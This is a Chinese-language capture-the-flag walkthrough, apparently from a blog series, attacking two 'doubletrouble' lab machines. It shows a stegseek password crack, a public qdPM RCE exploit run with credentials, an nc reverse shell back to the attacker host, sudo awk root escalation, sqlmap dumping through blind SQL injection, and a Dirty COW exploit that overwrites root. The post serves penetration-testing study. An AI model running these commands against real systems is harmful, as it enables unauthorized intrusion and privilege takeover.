声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 13 篇文章
doubletrouble双重困难,正如靶机名称所言
这台靶机需要去攻打两台靶机,
在打下第一台靶机之后,/root目录下有另外一台靶机。
这台靶机中会利用到一个破解隐写密码的工具(StegSeek),
它的速度非常快,可以在很短很短的时间内使用rockyou这个字典破解密码
工具下载地址:
https://github.com/RickdeJager/stegseek/releases/tag/v0.6,
下载deb格式,在kali中使用**apt install deb文件**,即可安装。
这台靶机还涉及的知识点,sql时间盲注,脏牛提权
fping -gaq 192.168.56.0/24
靶机的ip:192.168.56.116
kali的ip:192.168.56.102
nmap -sV -sC -O -p- -sT 192.168.56.116
开放22,80两个端口,22是ssh服务、80是apache的http服务,并且80端口可以看出是qdpm的登录,操作系统探测是Linux 4.15 - 5.6(Debian)
发现登录要的是email,而不知道qbpm的email格式是如何的,尝试使用qdpm的默认密码登录,email:[email protected],密码:admin
登陆失败,登录框下方发现qdpm的官方地址,查看一下,看一下版本更新
发现最新版本为9.3,而目前靶机的版本是9.1,发现更新那里发现需要去移除/install和/core/cache/qdPM/,拼接访问一下,
/install是添加数据库的功能,但是在这里没有什么用处
/core/cache/qdPM/,有一些配置文件,但是大部分都是模块的,没有什么用处
dirsearch -u http://192.168.56.116
发现一些名字很是吸引人的目录,/backups/,/readme.txt,/robots.txt,/secret/,/uploads/
对每个目录进行访问
/backups/,/robots.txt,/uploads/都为空,没有信息,/readme.txt,只是qdpm的一些系统的介绍
/secret/,秘密的意思,发现有一张图片,结合名字,这张图片可能有信息,下载图片
查看图片中嵌入的文件信息:
steghide info doubletrouble.jpg
发现需要密码
使用stegseek工具结合rockyou.txt进行破解密码
发现密码为92camaro,并且已经将图片中隐藏的信息提取到doubletrouble.jpg.out
发现有一个邮箱和密码,想到80端口的登录页面需要emil的账号进行登录,尝试登录80端口
成功登录
发现添加管理员可以上传图片,尝试能不能通过文件上传获取shell
添加,上传php的一句话木马,获取图片的链接,发现图片重命名为jpg的格式,
但是没有办法解析执行,所以只能走另外的途径
searchsploit qdpm 查看有没有历史漏洞
发现有几个符合80端口qdpm的版本,其中有两个是远程代码执行,47954.py 50175.py
复制到本地
searchsploit -m 47954.py .
searchsploit -m 50175.py .
查看py文件内容
发现需要有账号密码才能进行执行,47954.py需要python2,50175.py需要python3,结合之前获取的账号密码,尝试使用50175.py来进行获取shell
(50175.py文件的缩进有问题,需要手动修改)
python3 50175.py -url http://192.168.56.116/ -u [email protected] -p otis666
执行之后,创建了一个php后门文件,在/uploads/users/
结合它的说明
可以进行系统命令的执行
which nc看一下是否有nc
使用nc将shell反弹回kali(先尝试-e参数)
nc 192.168.56.102 4444 -e /bin/bash
获得初始shell
python -c 'import pty;pty.spawn("/bin/bash")' 提高交互性
sudo滥用查询
可以无密码只用root权限执行awk命令
提权 sudo awk 'BEGIN {system("/bin/sh")}' (GTFOBins上面获取的)
发现有一个ova文件,这就是第二台靶机
使用nc将文件传输到本地(也可以使用web服务进行下载,但是nc的传输大文件的速度很快)
靶机: nc 192.168.56.102 3333 < doubletrouble.ova -w 1 将文件传输给kali的3333端口,-w 1表示传输成功后1s端口连接,这样子就可以看到什么时候传输成功过
kali: nc -lnvp 3333 > doubletrouble2.ova
将ova文件导入vbox
靶机二ip:192.68.56.119
kali的IP:192.168.56.102
nmap -sV -sC -O -p- -sT 192.168.56.119
同样开放22,80端口,22是ssh服务、80是apache的http服务,操作系统探测是Linux 3.2 - 3.16(Debian)(操作版本有点低)
一个登录框,但是这里的弱口令登录不进去
使用nmap的漏洞库对80端口进行扫描
nmap --script=vuln -p80 --min-rate=10000 192.168.56.119
发现的漏洞基本都没有
尝试对80端口的登录框进行sql注入的各种检测
可以进行手动测试,但是这里使用sqlmap进行测试(这里存在时间盲注)
将登录的数据包保存为1.txt
sqlmap -r 1.txt --dbs
sqlmap -r 1.txt -D doubletrouble --tables
sqlmap -r 1.txt -D doubletrouble -T users --columns
sqlmap -r 1.txt -D doubletrouble -T users -C username,password --dump
发现有用户名和密码
使用ssh登录
第一个用户登录不成功
第二个用户登录成功,获得初始shell
没有sudo滥用可以利用提权,定时任务也没有,suid也没有
回想信息收集,它的linux版本好像很低
uname -a
操作系统版本 Linux 3.2.0-4
脏牛提权:Linux 内核2.6.22 – 3.9
使用脏牛尝试提权(exp可以通过github下载)
编译:gcc -pthread dirty.c -o exp -lcrypt
执行./exp pass
(pass你要登陆的root权限的账号密码)
然后脏牛新建一个账号firefart,替换目标操作系统的root账号,密码为上面执行的密码;脏牛还会去备份目前系统的的/etc/passwd文件(比如/tmp/passwd.bak)
ssh重新登录(账号:firefart 密码:pass)
如果是在比赛或者渗透测试中,建议将已经备份的/tmp/passwd.bak文件重新拷贝覆盖回原来的/etc/passwd,再通过直接输入passwd命令重新修改root账号的密码(不是脏牛创建的那个),那么在进行登陆的时候,就不用在每次都触发脏牛
cp /tmp/passwd.bak /etc/passwd
passwd使用新的账号密码
ssh登录root账号
拿到flag
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0